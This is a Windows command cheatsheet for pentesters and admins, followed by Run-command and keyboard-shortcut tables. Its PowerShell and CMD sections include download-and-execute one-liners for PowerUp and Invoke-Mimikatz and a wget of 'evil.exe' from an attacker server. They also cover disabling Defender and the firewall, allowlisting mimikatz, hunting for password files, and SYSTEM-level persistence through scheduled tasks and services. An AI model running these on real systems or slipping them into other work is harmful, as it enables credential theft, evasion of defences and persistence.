

# Windows - Cheatsheet

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# Windows Command Line Cheatsheet

## Powershell

### Enable ISE using powershell

In the few months that I've been developing powershell, I've found the ISE to be incredibly useful. If you get on a new machine and the ISE isn't there, here's how you can get it going in the powershell terminal:

```
Import-Module ServerManager  
Add-WindowsFeature Powershell-ISE
```

### Securely store credentials in XML for Import

Start out by storing your username and password (in a SecureString format) in a PSCredential object:

```
$cred = Get-Credential
```

Next, go ahead and export your credentials to an xml file:

```
$cred | Export-CliXml <location>.clixml
```

Finally, when you need it, go ahead and import the credentials from the xml file and stored them in a variable (\$cred2 in this particular scenario):

```
$cred2 = Import-CliXml <location>.clixml
```

# Command output to file

Append this to whatever you're running to get the output in a text file:

```
| Out-File <location>
```

For example, if we want to run Invoke-AllChecks from PowerUp and capture output in

```
C:\temp\output.txt :
```

```
Invoke-AllChecks | Out-File C:\temp\output.txt
```

# Command output to clipboard

```
Command | Clip
```

# Require powershell script run as admin

Add this to the top of the powershell file:

```
#Requires -RunAsAdministrator
```

Resource: <https://serverfault.com/questions/95431/in-a-powershell-script-how-can-i-check-if-im-running-with-administrator-privil>

# Unzip file

```
Expand-Archive -Path myfile.zip -DestinationPath C:\temp\myfile
```

Resource: <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7.1>

# Download file

```
$url = "http://192.168.1.3:8080/somebinary.exe"
$outpath = "C:\temp\somebinary.exe"
Invoke-WebRequest -Uri $url -OutFile $outpath
```

## Another way to download a file

Run from cmd:

```
powershell -exec bypass -c "(New-Object
Net.WebClient).DownloadFile('http://192.168.1.3','C:\temp\launcher.bat')"
```

# Download PowerUp with Powershell <= v.2.0

This will get you the PowerUp powershell script and put it in `C:\Temp`, or some folder that the user you're on has permissions to write to.

You can also modify this snippet to download files if `wget` isn't available.

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
```

one-liner alternative:

```
(New-Object
System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
```

another one:

```
powershell.exe -ep bypass -e IEX ((new-object
net.webclient).downloadstring('http://target.com:8080/robots.txt'))
```

Another to decode and execute a base64 powershell payload can be found [here](#).

## Using PowerUp

```
import-module c:\PowerUp\powerup.ps1
## Run all the checks
Invoke-AllChecks
```

## PowerUp one-liner

Get PowerUp, run it, and output to a text file so we can read the output easily:

```
powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/
PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks > C:\Temp\PU.txt
```

## Powershell MimiKatz

```
powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/
PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz
```

## Tail a logfile

You can effectively tail -f the last two lines from a log file with the following:

```
Get-Content logfile.log -Tail 2 -Wait
```

## Run Powershell Script to get around execution of scripts disabled error

```
powershell -ExecutionPolicy Bypass -File pwshscript.ps1
```

## Download sysinternals

First you need to ignore ssl trust:

```
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

then you can download it:

```
(New-Object  
System.Net.WebClient).DownloadFile("https://download.sysinternals.com/files/SysinternalsSuite.  
zip","C:\Temp\sysinternals.zip")
```

## Log script output to file

```
Start-Transcript -path c:\windows\temp\interesting.log -Append -force  
  
# do stuff  
  
stop-transcript  
exit 1001
```

## Useful powershell one-liners

### Get hostname:

```
$env:computername
```

### List local accounts on a system:

```
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
```

### Check if system is joined to a domain or a workgroup:

```
if ((gwmi win32_computersystem).partofdomain -eq $true) {  
    write-host -fore green 'This system is on a domain' } else {  
        write-host -fore red 'This system is part of a workgroup' }
```

## Set environment variable:

```
$env:<name>="stuff"
```

## Show env vars in running script:

```
gci env:* | sort-object <name>
```

Resource: <https://stackoverflow.com/questions/39800481/display-all-environment-variables-from-running-powershell-script>

## Check if system is running a desktop version of windows:

```
$windesktop = (gwmi win32_operatingsystem).OperatingSystemSKU  
-notmatch "(\b[7-9]|10|1[2-5]|1[7-9]|2[0-5])"  
if ($windesktop) { write-output "OS is a flavor of Windows Desktop" }
```

## Create new local user:

```
New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString  
-AsPlainText -Force 'somepassword') -Name 'someuser'  
| Add-LocalGroupMember -Group Users
```

## Create new local admin:

```
New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString  
-AsPlainText -Force 'somepassword') -Name 'someuser'  
| Add-LocalGroupMember -Group Administrators
```

Resource: <https://gist.github.com/ducas/3a65704a3b92dfa0301e>

## Get Windows kernel version

```
[Environment]::OSVersion.Version
```

## Get list of IPv4 addr

```
(gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null }).ipaddress
```

## Set alias with powershell

```
Set-Alias -Name ts -value 'C:\Users\User\folder\binary.exe'
```

## Change hostname

```
Get-WmiObject -Class Win32_ComputerSystem  
$ComputerInfo.Rename("new_name")
```

## Open file with notepad

```
Start-Process notepad "C:\Program Files\Bla\bla.txt"
```

Resource: <https://stackoverflow.com/questions/42669962/open-file-in-chosen-application-in-powershell>

## List Exclusions in Defender

```
Get-MpPreference | Select-Object -ExpandProperty ExclusionPat
```

Resource: <https://superuser.com/questions/1591375/how-to-retrieve-windows-defender-exclusions-by-powershell-without-truncation-out>

## Add exe to defender allowlist

```
Add-MpPreference -ExclusionProcess "C:\Temp\mimikatz\x64\mimikatz.exe"
```

## Add extension to defender allowlist

This particular code will allowlist all files that end with a `.txt` extension:

```
Add-MpPreference -ExclusionExtension "txt"
```

## Add folder to defender allowlist

```
Add-MpPreference -ExclusionPath "C:\Folder1"
```

Resource: <https://www.msnoob.com/use-powershell-to-add-exclusion-folder-on-the-windows-defender.html>

## Stop and Start Defender

### Stop:

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

### Start:

```
Set-MpPreference -DisableRealtimeMonitoring $false
```

Resource: <https://superuser.com/questions/1046297/how-do-i-turn-off-windows-defender-from-the-command-line>

# CMD

## Wget

```
wget http://<evil server>/evil.exe -Ooutfile evil.exe
```

## Open command shell as a user

```
runas /profile /user:domain\username cmd
```

## Open a powershell window as a user

```
runas /profile /user:domain\username powershell
```

## Check Permissions for folder

```
icacls <path>
```

## Netstat with findstr

This is an example of what I equate to running netstat and piping the results through grep in linux. This is probably closer to `netstat` with `grep`:

```
netstat -ano | findstr 443
```

## Netstat with find

Another way to run `netstat` and `grep` for something. In powershell you need to escape the double ticks or it will throw an error:

```
netstat -anob | find `443`
```

## Check if RDP is enabled

```
netstat /p tcp /a |findstr 3389
```

Resource: <https://serverfault.com/questions/541086/how-to-diagnose-rdp-with-commandline>

## Look for files with passwords

```
dir /b /s web.config  
dir /b /s unattend.xml  
dir /b /s sysprep.inf  
dir /b /s sysprep.xml  
dir /b /s *pass*
```

## Disable firewall

```
netsh advfirewall set allprofiles state off
```

## Search processes

Similar to using `ps` and piping the output to `grep` in linux:

```
tasklist | findstr processname
```

## Make administrator user active

```
net user administrator /active:yes
```

# Set user password to never expire

```
net user user /expires:never /active:yes /logonpasswordchg:no
```

# Create Scheduled task

On start up as system:

```
schtasks /create /sc onstart /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"
```

To run every minute as system:

```
schtasks /create /sc minute /mo 1 /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"
```

# List Scheduled tasks

```
schtasks
```

# Delete Scheduled task

```
schtasks /delete /tn "NameofTask" /f
```

# Create service

On start up:

```
sc create ServiceName binpath="cmd.exe /k C:\Temp\shell.exe" start="auto" obj="LocalSystem"
```

# List Services

```
sc query
```

# Query Service

```
sc qc ServiceName
```

-alternatively-

```
sc query ServiceName
```

# Stop service

```
sc stop ServiceName
```

# Start service

```
sc start ServiceName
```

# Delete Service

```
sc delete ServiceName
```

# Useful CMD one-liners

## Open event viewer from cmd:

```
eventvwr
```

## Open services msc:

```
services.msc
```

# Lists all the service information for each process:

```
tasklist /svc
```

# Kill a process by PID:

```
taskkill /pid <pid> /f
```

# Kill firefox (or any process) by name:

```
taskkill /im firefox.exe /f
```

# Delete a file:

```
del <file name>
```

# List drives:

```
fsutil fsinfo drives
```

# Show users with active sessions:

```
quser
```

or:

```
query user
```

# Show active network sessions:

```
netstat -vb
```

## Get last modified file in a directory (conceptually similar to ls -lart):

```
dir /O:D /T:W /A:-D
```

## Rename file:

```
move file new-file-name
```

Show contents of file:

```
type file.txt
```

## Current user and privilege info:

```
whoami /all
```

## List users:

```
net users
```

## List domain users and output to a file:

```
net user /domain > domain-user-list.txt
```

## List domain controller the current system is authenticated with:

```
echo %LOGONSERVER%
```

Get FSMO roles for current domain (useful info about domain controller setup):

```
NETDOM QUERY /D:targetdomain.com FSMO
```

List all domain controllers in the current domain:

```
net group "Domain Controllers" /domain
```

Print password policy:

```
net accounts
```

Reboot system immediately:

```
shutdown /r /t 0
```

Query the registry:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

Add a key to the registry:

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v  
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

## Remove a key from the registry:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v hFaZv0AsF /f
```

## Show environment variables:

```
set
```

## How to `rm -rf`:

```
rd /s /q "path"
```

## Reset IE Settings

To perform what the reset button does:

```
RunDll32.exe InetCpl.cpl,ResetIEToDefaults
```

To delete all caches and settings “Also delete files and settings stored by add-ons”:

```
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351
```

Resources <https://stackoverflow.com/questions/4037939/powershell-says-execution-of-scripts-is-disabled-on-this-system> <https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/> <http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/> <http://thepcn3rd.blogspot.com/2015/03/utilizing-powerups1-to-escalate.html> <http://secvue.com/using-powerup-with-unquoted-service-paths/> [https://github.com/cheetz/Easy-P/blob/master/easy\\_p.py](https://github.com/cheetz/Easy-P/blob/master/easy_p.py) <https://blogs.technet.microsoft.com/rmilne/2016/06/03/powershell-tail-command/> <https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/> <https://www.toshellandback.com/2015/11/24/ms-priv-esc/> <https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell> [https://www.youtube.com/watch?v=PC\\_iMqiulRQ](https://www.youtube.com/watch?v=PC_iMqiulRQ) <http://tweaks.com/windows/39559/kill-processes->

from-command-prompt/ <https://stackoverflow.com/questions/43615726/who-command-in-windows>  
<https://www.windows-commandline.com/get-file-modified-date-time/>  
<https://github.com/emilyanncr/Windows-Post-Exploitation> <http://www.itswapshop.com/tutorial/how-get-list-all-domain-user-accounts-command-line-windows> <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist>  
<http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf>  
<http://www.networkpentest.net/p/windows-command-list.html> [Creating scheduled tasks](<https://www.ired.team/offensive-security/persistence/t1053-schtask>) [Creating services](<https://pentestlab.blog/2019/10/07/persistence-new-service/>) [How to rm -rf](<https://stackoverflow.com/questions/97875/rm-rf-equivalent-for-windows>) [How to add a key to the registry via cli](<https://superuser.com/questions/1621648/psexec-access-is-denied-on-domain-user>) [Original Article](<https://techvomit.net/useful-powershell-commands/>)

# Windows Start | Run Commands

Accessibility Options	utilman or control access.cpl
Add Hardware Wizard	hdwwiz
Programs and Features (Add New Programs) (Add Remove Windows Components) (Set Program Access & Defaults )	appwiz.cpl control appwiz.cpl,,1 control appwiz.cpl,,2 control appwiz.cpl,,3
Administrative Tools	control admintools
Advanced User Accounts Control Panel	netplwiz
Authorization Manager	azman.msc
Automatic Update	control wuauclpl.cpl
Backup and Restore Utility	sdclt
Bluetooth Transfer Wizard	fsquirt
Calculator	calc
Certificate Manager	certmgr.msc
Character Map	charmap
Check Disk Utility	<a href="#">chkdsk</a>
Clear Type (tune or turn off)	cttune
Color Management	colorcpl.exe
Command Prompt	<a href="#">cmd</a>
Component Services	dcomcnfg or comexp.msc
Computer Management	CompMgmtLauncher.exe or compmgmt.msc
Control Panel	control
Credential (passwords) Backup and Restore Wizard	credwiz
Data Execution Prevention	SystemPropertiesDataExecutionPrevention
Date and Time Properties	timedate.cpl

Device Manager	hdwwiz or devmgmt.msc
Device Pairing Wizard	DevicePairingWizard
Digitizer Calibration Tool (Tablets/Touch screens)	tabcal
Direct X Control Panel (if installed)	directx.cpl
Direct X Troubleshooter	dxdiag
Disk Cleanup Utility	<a href="#">cleanmgr</a>
Disk Defragmenter	dfrgui <a href="#">defrag</a>
Disk Management	diskmgmt.msc
Disk Partition Manager	diskpart
Display Color Calibration	dccw
Display DPI / Text size	dpiscaling
Display Properties (Themes, Desktop, Screensaver)	control desktop
Display Properties (Resolution, Orientation)	desk.cpl
Display Properties (Color & Appearance)	control color
Documents (open 'My Documents' folder)	documents
Downloads (open 'Downloads' folder)	downloads
Driver Verifier Utility	verifier
DVD Player	dvdplay
Edit Environment Variables	rundll32.exe sysdm.cpl,EditEnvironmentVariables
Encrypting File System Wizard (EFS)	rekeywiz
Event Viewer	eventvwr.msc
File Signature Verification Tool (Device drivers)	sigverif
Files and Settings Transfer Tool	%systemroot%\system32\migwiz\migwiz.exe
Firewall Control Panel	firewall.cpl
Folders Properties	control folders
Fonts list	control fonts
Font preview	fontview arial.ttf
Game Controllers	joy.cpl
Local Group Policy Editor	gpedit.msc
Internet Properties	inetcpl.cpl

IP Configuration	<a href="#">ipconfig</a>
iSCSI Initiator configuration	iscsicpl
Keyboard Properties	control keyboard
Language Pack Installer	lpksetup
Local Security Policy	secpol.msc
Local Users and Groups	lusrmgr.msc
Log out	<a href="#">logoff</a>
Microsoft Malicious Software Removal Tool	mrt
Microsoft Management Console	mmc
Access (Microsoft Office)	msaccess
Excel (Microsoft Office)	Excel
Powerpoint (Microsoft Office)	powerpnt
Word (Microsoft Office)	winword
Microsoft Paint	mspaint
Microsoft Support Diagnostic Tool	msdt
Mouse Properties	control mouse or main.cpl
Network Connections	control netconnections or ncpa.cpl
Projector: Connect to Network Projector Switch projector display	netproj  displayswitch
Notepad	notepad
ODBC Data Source Admin Default ODBC driver: 32-bit ODBC driver under 64-bit platform:	C:\windows\system32\odbcad32.exe C:\windows\sysWOW64\odbcad32.exe
ODBC configuration - Install/configure MDAC drivers	odbcconf
On Screen Keyboard	osk
OOB Getting Started	gettingstarted
Password - Create a Windows Password Reset Disk (USB)	"C:\Windows\system32\rundll32.exe" keymgr.dll,PRShowSaveWizardExW
Pen and Touch (Tablet/Pen input configuration)	tabletpc.cpl
Performance Monitor	perfmon.msc
Phone and Modem Options	telephon.cpl

Phone Dialer	dialer
Power Configuration	powercfg.cpl and <a href="#">powercfg.exe</a>
Presentation Settings	PresentationSettings
<b>Problem Steps Recorder</b>	<a href="#">psr</a>
Program Access and Computer Defaults - browser / email / media	computerdefaults
Printers and Faxes	control printers
Print Management (.msc)	PrintManagement
Printer Migration (backup/restore)	printbrmui and <a href="#">printbrm.exe</a>
Printer user interface (List all printui.dll options)	printui
Private Character Editor	eudcedit
Regional Settings - Language, Date/Time format, keyboard locale.	intl.cpl
Registry Editor	<a href="#">regedit</a>
Remote Assistance	msra
<b>Remote Desktop</b>	<a href="#">mstsc</a>
Resource Monitor	resmon
Resultant Set of Policy	rsop.msc
Settings (Windows 10)	<a href="#">ms-settings:</a>
Scheduled Tasks	control schedtasks
Screenshot Snipping Tool	snippingtool
Security Center	wscui.cpl
Services	<a href="#">services.msc</a>
Shared Folder Wizard	shrpwbw
Shared Folders	fsmgmt.msc
Shut Down Windows	<a href="#">shutdown</a>
Software Licensing/Activation	slui
Sounds and Audio	mmsys.cpl
Sound Recorder	soundrecorder
Sound Volume	sndvol
Synchronization Tool (Offline files)	mobsync
System Configuration Utility	msconfig

System File Checker Utility (Scan/Purge)	<a href="#">sfc</a>
System Information	<a href="#">msinfo32</a>
System Properties	sysdm.cpl SystemProperties or sysdm.cpl DisplaySYSDMCPL
System Properties - Performance	SystemPropertiesPerformance
System Properties - Hardware	SystemPropertiesHardware
System Properties - Advanced	SystemPropertiesAdvanced
System Repair - Create a System Repair Disc	recdisc
System Restore	rstrui
Task Manager	taskmgr
Task Scheduler	taskschd.msc
Telnet Client	telnet
Trusted Platform Module Initialization Wizard	tpmInit
User Accounts (Autologon)	control userpasswords2
User Account Control (UAC) Settings	UserAccountControlSettings
User Profiles - Edit/Change type	C:\Windows\System32\rundll32.exe sysdm.cpl,EditUserProfiles
Windows Disc Image Burning Tool	isoburn C:\movies\madmax.iso
Windows Explorer	explorer
Windows Features	optionalfeatures
Windows Firewall Windows Firewall with Advanced Security	firewall.cpl wf.msc
Windows Image Acquisition (scanner)	wiaacmgr
Windows Magnifier	magnify
Windows Management Infrastructure	wmimgmt.msc
Windows Memory Diagnostic Scheduler	mdsched
Windows Mobility Center (Mobile PCs only)	mblictr
Windows <a href="#">PowerShell</a>	powershell
Windows PowerShell ISE	powershell_ise
Windows Security Action Center	wscui.cpl
Windows Script Host( <a href="#">VBScript</a> )	wscript <i>NAME_OF_SCRIPT.VBS</i>

Windows System Security Tool. Encrypt the SAM database. (boot password.)	syskey
Windows Update	wuapp
Windows Update Standalone Installer	wusa
Windows Version (About Windows)	winver
WordPad	write

From <<https://ss64.com/nt/run.html>>

# Windows Keyboard Shortcuts

## Essential shortcuts

In this list I'm including the most essential keyboard shortcuts you should know on Windows 10:

Keyboard shortcut	Action
Ctrl + A	Select all content.
Ctrl + C (or Ctrl + Insert)	Copy selected items to clipboard.
Ctrl + X	Cut selected items to clipboard.
Ctrl + V (or Shift + Insert)	Paste content from clipboard.
Ctrl + Z	Undo an action, including undelete files (limited).
Ctrl + Y	Redo an action.
Ctrl + Shift + N	Create new folder on desktop or File Explorer.
Alt + F4	Close active window. (If no active window is present, a shutdown box appears.)
Ctrl + D (Del)	Delete selected item to the Recycle Bin.
Shift + Delete	Delete the selected item permanently, skipping Recycle Bin.
F2	Rename selected item.
Esc	Close current task.
Alt + Tab	Switch between open apps.
PrtScn	Take a screenshot and stores it in the clipboard.
Windows key + I	Open Settings app.
Windows key + E	Open File Explorer.
Windows key + A	Open Action center.
Windows key + D	Display and hide the desktop.
Windows key + L	Lock device.
Windows key + V	Open Clipboard bin.
Windows key + Period (.) or Semicolon (;)	Open emoji panel.
Windows key + PrtScn	Capture a full screenshot in the "Screenshots" folder.

Keyboard shortcut	Action
Windows key + Shift + S	Capture part of the screen with Snip & Sketch.
Windows key + Left arrow key	Snap app or window left.
Windows key + Right arrow key	Snap app or window right.

# Desktop shortcuts

On Windows 10, you can use these keyboard shortcuts to open, close, navigate, and perform tasks more quickly throughout the desktop experience, including the Start menu, Taskbar, Settings, and more.

Keyboard shortcut	Action
Windows key (or Ctrl + Esc)	Open Start menu.
Ctrl + Arrow keys	Change Start menu size.
Ctrl + Shift + Esc	Open Task Manager.
Ctrl + Shift	Switch keyboard layout.
Alt + F4	Close active window. (If no active window is present, a shutdown box appears.)
Ctrl + F5 (or Ctrl + R)	Refresh current window.
Ctrl + Alt + Tab	View open apps.
Ctrl + Arrow keys (to select) + Spacebar	Select multiple items on desktop or File Explorer.
Alt + Underlined letter	Runs command for the underlined letter in apps.
Alt + Tab	Switch between open apps while pressing Tab multiple times.
Alt + Left arrow key	Go back.
Alt + Right arrow key	Go forward.
Alt + Page Up	Move up one screen.
Alt + Page Down	Move down one screen.
Alt + Esc	Cycle through open windows.
Alt + Spacebar	Open context menu for the active window.
Alt + F8	Reveals typed password in Sign-in screen.
Shift + Click app button	Open another instance of an app from the Taskbar.

<b>Keyboard shortcut</b>	<b>Action</b>
Ctrl + Shift + Click app button	Run app as administrator from the Taskbar.
Shift + Right-click app button	Show window menu for the app from the Taskbar.
Ctrl + Click a grouped app button	Cycle through windows in the group from the Taskbar.
Shift + Right-click grouped app button	Show window menu for the group from the Taskbar.
Ctrl + Left arrow key	Move the cursor to the beginning of the previous word.
Ctrl + Right arrow key	Move the cursor to the beginning of the next word.
Ctrl + Up arrow key	Move the cursor to the beginning of the previous paragraph
Ctrl + Down arrow key	Move the cursor to the beginning of the next paragraph.
Ctrl + Shift + Arrow key	Select block of text.
Ctrl + Spacebar	Enable or disable Chinese IME.
Shift + F10	Open context menu for selected item.
F10	Enable app menu bar.
Shift + Arrow keys	Select multiple items.
Windows key + X	Open Quick Link menu.
Windows key + Number (0-9)	Open the app in number position from the Taskbar.
Windows key + T	Cycle through apps in the Taskbar.
Windows key + Alt + Number (0-9)	Open Jump List of the app in number position from the Taskbar.
Windows key + D	Display and hide the desktop.
Windows key + M	Minimize all windows.
Windows key + Shift + M	Restore minimized windows on the desktop.
Windows key + Home	Minimize or maximize all but the active desktop window.
Windows key + Shift + Up arrow key	Stretch desktop window to the top and bottom of the screen.
Windows key + Shift + Down arrow key	Maximize or minimize active desktop windows vertically while maintaining width.
Windows key + Shift + Left arrow key	Move active window to monitor on the left.
Windows key + Shift + Right arrow key	Move active window to monitor on the right.
Windows key + Left arrow key	Snap app or window left.
Windows key + Right arrow key	Snap app or window right.
Windows key + S (or Q)	Open Search.

Keyboard shortcut	Action
Windows key + Alt + D	Open date and time in the Taskbar.
Windows key + Tab	Open Task View.
Windows key + Ctrl + D	Create new virtual desktop.
Windows key + Ctrl + F4	Close active virtual desktop.
Windows key + Ctrl + Right arrow	Switch to the virtual desktop on the right.
Windows key + Ctrl + Left arrow	Switch to the virtual desktop on the left.
Windows key + P	Open Project settings.
Windows key + A	Open Action center.
Windows key + I	Open Settings app.
Backspace	Return to the Settings app home page.

# File Explorer shortcuts

These are the most useful keyboard shortcuts you can use on File Explorer:

Keyboard shortcut	Action
Windows key + E	Open File Explorer.
Alt + D	Select address bar.
Ctrl + E (or F)	Select search box.
Ctrl + N	Open new window.
Ctrl + W	Close active window.
Ctrl + F (or F3)	Start search.
Ctrl + Mouse scroll wheel	Change view file and folder.
Ctrl + Shift + E	Expands all folders from the tree in the navigation pane.
Ctrl + Shift + N	Creates a new folder on desktop or File Explorer.
Ctrl + L	Focus on the address bar.
Ctrl + Shift + Number (1-8)	Changes folder view.
Alt + P	Display preview panel.
Alt + Enter	Open Properties settings for the selected item.
Alt + Right arrow key	View next folder.

Keyboard shortcut	Action
Alt + Left arrow key (or Backspace)	View previous folder.
Alt + Up arrow	Move up a level in the folder path.
F11	Switch active window full-screen mode.
F2	Rename selected item.
F4	Switch focus to address bar.
F5	Refresh File Explorer's current view.
F6	Cycle through elements on the screen.
Home	Scroll to the top of the window.
End	Scroll to the bottom of the window.

## Settings page shortcuts

This list includes the keyboard shortcuts for the dialog box legacy settings pages (for example, Folder Options).

Keyboard shortcut	Action
Ctrl + Tab	Cycles forward through the tabs.
Ctrl + Shift + Tab	Cycles back through the tabs.
Ctrl + number of tab	Jumps to tab position.
Tab	Moves forward through the settings.
Shift + Tab	Moves back through the settings.
Alt + underline letter	Actions the setting identified by the letter.
Spacebar	Checks or clears the option in focus.
Backspace	Opens the folder one-level app in the Open or Save As dialog.
Arrow keys	Select a button of the active setting.

## Command Prompt shortcuts

On Command Prompt, you can use these keyboard shortcuts will help to work a little more efficiently:

Keyboard shortcut	Action
Ctrl + A	Select all content of the current line.
Ctrl + C (or Ctrl + Insert)	Copy selected items to clipboard.
Ctrl + V (or Shift + Insert)	Paste content from clipboard.
Ctrl + M	Starts mark mode.
Ctrl + Up arrow key	Move the screen up one line.
Ctrl + Down arrow key	Move screen down one line.
Ctrl + F	Open search for Command Prompt.
Left or right arrow keys	Move the cursor left or right in the current line.
Up or down arrow keys	Cycle through the command history of the current session.
Page Up	Move cursor one page up.
Page Down	Move cursor one page down.
Ctrl + Home	Scroll to the top of the console.
Ctrl + End	Scroll to the bottom of the console.

# Microsoft Edge shortcuts

On Microsoft Edge, you will benefit from these keyboard shortcuts. These shortcuts apply to any version of Windows.

Keyboard shortcut	Action
Ctrl + Shift + B	Show or hide the favorites bar.
Alt + Shift + B	Focus on the first item in the favorites bar.
Ctrl + D	Save the tab as a favorite.
Ctrl + Shift + D	Save open tabs as favorites inside a new folder.
Alt + D (or Ctrl + L or F4)	Select the URL in the address bar to edit.
Ctrl + E (or Ctrl + K)	Start search in the address bar.
Alt + E (or Alt + F or F10 + Enter)	Open the Settings (three-dotted) menu.
Ctrl + F (or F3)	Open the Find on page feature.
Ctrl + G	Cycle through search matches in the Find Bar.
Ctrl + Shift + G	Reverse cycle through search matches in the Find Bar.

Keyboard shortcut	Action
Ctrl + H	Open the History page in a new tab.
Ctrl + Shift + I (or F12)	Open Developer Tools console.
Alt + Shift + I	Open the Send feedback experience.
Ctrl + J	Open the Downloads page in a new tab.
Ctrl + Shift + K	Create a duplicate of the tab.
Ctrl + Shift + L	Paste and search or Paste and go.
Ctrl + M	Mute the current tab.
Ctrl + Shift + M	Sign in as a different user in the browser or use Guest user.
Ctrl + N	Open a new tab in a new window.
Ctrl + Shift + N	Open a new InPrivate window.
Ctrl + O	Launch Open dialog.
Ctrl + Shift + O	Open Favorites management page.
Ctrl + P	Print the current page.
Ctrl + Shift + P	Open print settings to print page.
Ctrl + R (or F5)	Reload the current page.
Ctrl + Shift + R (or Shift + F5)	Reload the page, ignoring cached content.
Ctrl + S	Save loaded page.
Ctrl + T	Open a new tab and switch to new tab.
Ctrl + Shift + T	Reopen the last closed tab and switch to the tab.
Alt + Shift + T	Focus on the first item in the toolbar.
Ctrl + U	View page source code.
Ctrl + Shift + U	Controls Read Aloud feature.
Ctrl + Shift + V	Paste without including formatting.
Ctrl + W (or Ctrl + F4)	Close the current tab.
Ctrl + Shift + W	Close the current window and tabs.
Ctrl + Shift + Y	Open Collections feature.
Ctrl + 0	Reset zoom level setting.
Ctrl + 1, 2, ... 8	Switch to a specific open tab.
Ctrl + 9	Switch to the last tab of the window.
Ctrl + Enter	Add "www." to the link you typed.

Keyboard shortcut	Action
Ctrl + Tab (or Ctrl + PgDn)	Switch to the next open tab.
Ctrl + Shift + Tab	Switch to the previous open tab.
Ctrl + Plus (+)	Zoom in.
Ctrl + Minus (-)	Zoom out.
Ctrl + \ (PDF)	Toggle PDF between fit to page or fit to width.
Ctrl + [ (PDF)	Rotate PDF counter-clockwise 90 degree.
Ctrl + ] (PDF)	Rotate PDF clockwise 90 degree.
Ctrl + Shift + Delete	Open clear browsing data options.
Alt (or F10)	Focus on the Settings (three-dotted) button.
Alt + Left arrow	Go back.
Alt + Right arrow	Go forward.
Alt + Home	Open home page.
Alt + F4	Close the current window.
F1	Open Help page.
F6	Switch focus to the next pane.
Shift + F6	Switch focus to the previous pane.
F7	Enable or disable caret browsing.
F9	Enter or exit Immersive Reader.
Shift + F10	Open browser context menu.
F11	Enter fullscreen.
Esc	Stop loading page, close dialog, or close pop-up.
Spacebar (or PgDn)	Scroll down the webpage one screen at a time.
Shift + Spacebar (or PgUp)	Scroll up the webpage one screen at a time.
Tab	Go to the next tab stop.
Shift + Tab	Go to the previous tab stop
Home	Scroll to the top of the page, or move keyboard focus to the first item of the pane.
End	Scroll to the bottom of the page, or move keyboard focus to the last item of the pane.
Ctrl + Shift + . (period)	Opens or closes Copilot
Ctrl + Shift + , (comma)	Open or closes vertical tabs

Keyboard shortcut	Action
Ctrl + Shift + S	Open Web capture
Ctrl + Q	Opens Command palette
Shift + Esc	Opens Browser task manager
Alt + Shift + I	Opens Send feedback

# Windows key shortcuts

The "**Windows key**," combined with other keys, allows you to perform many useful tasks, such as launch Settings, File Explorer, Run command, apps pinned in the Taskbar, or open specific features like Narrator or Magnifier. You can also complete tasks like controlling windows and virtual desktops, taking screenshots, locking the computer, and more.

This list includes all the most common keyboard shortcuts using the Windows key.

Keyboard shortcut	Action
Windows key	Open Start menu.
Windows key + A	Open Action center.
Windows key + S (or Q)	Open Search.
Windows key + D	Display and hide the desktop.
Windows key + L	Locks computer.
Windows key + M	Minimize all windows.
Windows key + B	Set focus notification area in the Taskbar.
Windows key + C	Launch Cortana app.
Windows key + F	Launch Feedback Hub app.
Windows key + G	Launch Game bar app.
Windows key + Y	Change input between desktop and Mixed Reality.
Windows key + O	Lock device orientation.
Windows key + T	Cycle through apps in the Taskbar.
Windows key + Z	Switch input between the desktop experience and Windows Mixed Reality.
Windows key + J	Set focus on a tip for Windows 10 when applicable.
Windows key + H	Open dictation feature.
Windows key + E	Open File Explorer.

Keyboard shortcut	Action
Windows key + I	Open Settings.
Windows key + R	Open Run command.
Windows key + K	Open Connect settings.
Windows key + X	Open Quick Link menu.
Windows key + V	Open Clipboard bin.
Windows key + W	Open the Windows Ink Workspace.
Windows key + U	Open Ease of Access settings.
Windows key + P	Open Project settings.
Windows key + Ctrl + Enter	Open Narrator.
Windows key + Plus (+)	Zoom in using the magnifier.
Windows key + Minus (-)	Zoom out using the magnifier.
Windows key + Esc	Exit magnifier.
Windows key + Forward-slash (/)	Start IME reconversion.
Windows key + Comma (,)	Temporarily peek at the desktop.
Windows key + Up arrow key	Maximize app windows.
Windows key + Down arrow key	Minimize app windows.
Windows key + Home	Minimize or maximize all but the active desktop window.
Windows key + Shift + M	Restore minimized windows on the desktop.
Windows key + Shift + Up arrow key	Stretch desktop window to the top and bottom of the screen.
Windows key + Shift + Down arrow key	Maximize or minimize active windows vertically while maintaining width.
